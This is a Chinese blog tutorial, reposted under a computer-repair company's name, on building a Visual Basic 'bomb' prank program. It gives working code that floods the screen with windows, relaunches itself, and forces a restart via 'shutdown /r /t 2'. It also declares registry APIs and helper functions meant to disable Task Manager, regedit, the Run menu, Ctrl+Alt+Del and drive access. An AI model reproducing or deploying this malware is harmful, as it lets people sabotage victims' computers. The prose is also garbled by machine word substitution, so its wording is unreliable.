打造自己的强有力的炸弹
/文 灵鸠剑客/1jjk
新的一年又到来了,和我的朋友们都在忙着赶项目,就在我一个不小心写出了一个去世循环时,想起了一种很陈腐的炸弹---蓝屏去世机炸弹,于是我就有了写炸弹这个想法,因为我用的是C#.net,把源代码拿过来,大家想调试还要安装.net框架,于是我就想到了用VB来写,那么上面就让我们来进入正题吧。
一,弹要实现的功效。
既然是炸弹,那固然要写的锋利些,首先就要像很久曩昔那个网页炸弹一样,弹出无数个窗口,这个功效是给他人打敷衍眼的,让他同心专心想着去阻止炸弹继续的弹出窗口;第二个功效是专门针对windowsXP而做的,固然也是在2004年第12期黑防杂志上看到的---自动重启计算机如图,
那么下一项便是让每一个人都感触郁闷的事---修正注册表。我本日教大家写的炸弹实现的功效大部门还是靠注册表,主要的功效还是要禁止中招的人翻开任务办理器,禁止使用注册表,隐蔽桌面全部图标,禁止使用开端菜单内里的运转,搜刮,关机,屏蔽ctrl+alt+del里的内容,禁止使用IE浏览器里的全部属性,屏蔽C盘,D盘等盘,这样的效果看上去肯定很可骇,如果我们屏蔽右键或者加那么一点点的代码设成开机自动运转,那后果会是什么样的就可想而知了吧?
二,代码实现。
上面让我们翻开VB编译器,在窗体上面加3个timer控件,然后Interval属性设得只管即便小点,该属性1000为1秒,我的设成了6,这样在一秒就会谈出上百个窗口了。
实现代码如下:
Private Sub Timer1_Timer()
Dim a As New Form1 ‘声明当前出现a便是代表Form1
a.Show ‘Form1弹出
End Sub
Private Sub Timer2_Timer()
Shell App.EXEName ‘运转这个软件的本身
End Sub
然后隐蔽窗体本身,书县代码如下:
Private Sub Form_Load()
Me.Hide
End Sub
那么在XP里自动关机是怎么回事呢?这个便是一个命令就能搞定的(shutdown /r /t 2),便是说,重新启动计算机的倒计时是2秒,这样中招的人就没有办法停止我们的shutdown了,其实到这里就可以算是一个有趣的恶作剧了。实现代码如下:
Private Sub Timer3_Timer()
Shell ("cmd.exe /c shutdown /r /t 2") ‘挪用cmd 然后在cmd里输出shutdown /r /t 2便是说设倒计时时间限定为2秒
End Sub
上面说说修正注册表吧,既然要修正注册表,那我们怎么能不挪用API呢?固然,曾经在电脑报里也有说不消API就能读写注册表的,但是我想还是让大家用API吧,终究API接触多了是件功德。那么就让我来教大家条用API来简便的修正注册表吧,我们先来建一个模块,在内里参加代码:
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long ‘这是挪用API函数来封闭注册表
Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long ‘这是挪用AP函数在注册内外创建一个键
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long ‘这是挪用api函数翻开注册表
Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long
Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long ‘挪用API来设置注册内外的键名
Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) ‘挪用API删除注册内外的的键
Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) ‘挪用API删除注册内外的的键值
API声明完了,上面我们就做相应的定义吧,实现代码如下:
Public Function DeleteKey(lPredefinedKey As Long, sKeyName As String)
Dim lRetVal As Long
Dim hKey As Long
lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = RegDeleteKey(lPredefinedKey, sKeyName)
RegCloseKey (hKey) ‘封闭注册表
End Function
‘以上是用来做删除注册内外的键的
Public Function DeleteValue(lPredefinedKey As Long, sKeyName As String, sValueName As String)
Dim lRetVal As Long
Dim hKey As Long
lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = RegDeleteValue(hKey, sValueName)
RegCloseKey (hKey)
End Function
‘以上是用来删除键值的
Public Function SetValueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long
Dim lValue As Long
Dim sValue As String
Select Case lType
Case REG_SZ
sValue = vValue
SetValueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue)) ‘这里是阐明将键设成REG_SZ时便是字符串
Case REG_DWORD
lValue = vValue
SetValueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4)
‘如果将键设成REG_DWORD便是长整型
End Select
End Function
‘以上是用来定义设置键的
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|